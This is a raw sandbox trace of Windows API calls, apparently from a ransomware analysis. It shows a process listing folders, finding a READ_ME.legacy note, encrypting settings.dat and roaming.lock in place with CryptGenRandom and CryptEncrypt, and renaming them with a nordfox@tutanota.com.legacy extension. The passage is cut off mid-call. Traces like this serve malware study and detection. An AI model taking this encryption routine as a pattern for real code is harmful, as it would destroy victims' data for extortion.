(HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.229] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f63968 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e40f50 | out: hHeap=0x520000) returned 1 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67b70 | out: hHeap=0x520000) returned 1 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6bd08 | out: hHeap=0x520000) returned 1 [0161.230] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f610d8 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78f68 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78f68 | out: hHeap=0x520000) returned 1 [0161.230] GetLastError () returned 0x12 [0161.230] SetLastError (dwErrCode=0x12) [0161.230] GetLastError () returned 0x12 [0161.230] SetLastError (dwErrCode=0x12) [0161.230] GetLastError () returned 0x12 [0161.230] SetLastError (dwErrCode=0x12) [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc38 | out: hHeap=0x520000) returned 1 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65928 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61818 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61818 | out: hHeap=0x520000) returned 1 [0161.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65928 | out: hHeap=0x520000) returned 1 [0161.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.230] FindNextFileW (in: hFindFile=0x2f610d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.231] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0161.231] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64a98 [0161.231] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0161.231] GetLastError () returned 0x12 [0161.231] SetLastError (dwErrCode=0x12) [0161.231] GetLastError () returned 0x12 [0161.231] SetLastError (dwErrCode=0x12) [0161.231] GetLastError () returned 0x12 [0161.231] SetLastError (dwErrCode=0x12) [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65b08 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61758 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0161.231] FindNextFileW (in: hFindFile=0x2f610d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78908 [0161.231] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f63bc0 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] GetLastError () returned 0x12 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] FindNextFileW (in: hFindFile=0x2f610d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.232] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61418 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] GetLastError () returned 0x12 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] GetLastError () returned 0x12 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] FindNextFileW (in: hFindFile=0x2f61418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] GetLastError () returned 0x12 [0161.232] SetLastError (dwErrCode=0x12) [0161.232] GetLastError () returned 0x12 [0161.232] SetLastError (dwErrCode=0x12) [0161.233] FindNextFileW (in: hFindFile=0x2f61418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] GetLastError () returned 0x12 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] SetLastError (dwErrCode=0x12) [0161.233] FindNextFileW (in: hFindFile=0x2f61418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.233] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61198 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] GetLastError () returned 0x12 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] GetLastError () returned 0x12 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] FindNextFileW (in: hFindFile=0x2f61198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] GetLastError () returned 0x12 [0161.233] SetLastError (dwErrCode=0x12) [0161.233] GetLastError () returned 0x12 [0161.233] SetLastError (dwErrCode=0x12) [0161.234] FindNextFileW (in: hFindFile=0x2f61198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.234] SetLastError (dwErrCode=0x12) [0161.234] GetLastError () returned 0x12 [0161.234] SetLastError (dwErrCode=0x12) [0161.234] SetLastError (dwErrCode=0x12) [0161.234] FindNextFileW (in: hFindFile=0x2f61198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.234] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61458 [0161.234] SetLastError (dwErrCode=0x12) [0161.234] GetLastError () returned 0x12 [0161.234] SetLastError (dwErrCode=0x12) [0161.234] GetLastError () returned 0x12 [0161.234] SetLastError (dwErrCode=0x12) [0161.234] FindNextFileW (in: hFindFile=0x2f61458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.237] SetLastError (dwErrCode=0x12) [0161.237] GetLastError () returned 0x12 [0161.237] SetLastError (dwErrCode=0x12) [0161.237] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] FindNextFileW (in: hFindFile=0x2f61458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] SetLastError (dwErrCode=0x12) [0161.238] FindNextFileW (in: hFindFile=0x2f61458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.238] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61318 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] FindNextFileW (in: hFindFile=0x2f61318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.238] GetLastError () returned 0x12 [0161.238] SetLastError (dwErrCode=0x12) [0161.239] FindNextFileW (in: hFindFile=0x2f61318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] GetLastError () returned 0x12 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] SetLastError (dwErrCode=0x12) [0161.239] FindNextFileW (in: hFindFile=0x2f61318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7266a59f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] GetLastError () returned 0x12 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] SetLastError (dwErrCode=0x12) [0161.239] FindNextFileW (in: hFindFile=0x2f61318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] GetLastError () returned 0x12 [0161.239] SetLastError (dwErrCode=0x12) [0161.239] SetLastError (dwErrCode=0x12) [0161.239] FindNextFileW (in: hFindFile=0x2f61318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0161.239] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.239] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0161.239] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.240] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11a0 [0161.240] GetFileSizeEx (in: hFile=0x11a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.240] ReadFile (in: hFile=0x11a0, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.246] SetFilePointer (in: hFile=0x11a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.246] WriteFile (in: hFile=0x11a0, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.246] SetFilePointer (in: hFile=0x11a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.246] WriteFile (in: hFile=0x11a0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.246] WriteFile (in: hFile=0x11a0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.246] CloseHandle (hObject=0x11a0) returned 1 [0161.247] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0161.389] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.389] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11a0 [0161.390] GetFileSizeEx (in: hFile=0x11a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.390] ReadFile (in: hFile=0x11a0, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.390] SetFilePointer (in: hFile=0x11a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.390] WriteFile (in: hFile=0x11a0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.390] SetFilePointer (in: hFile=0x11a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, 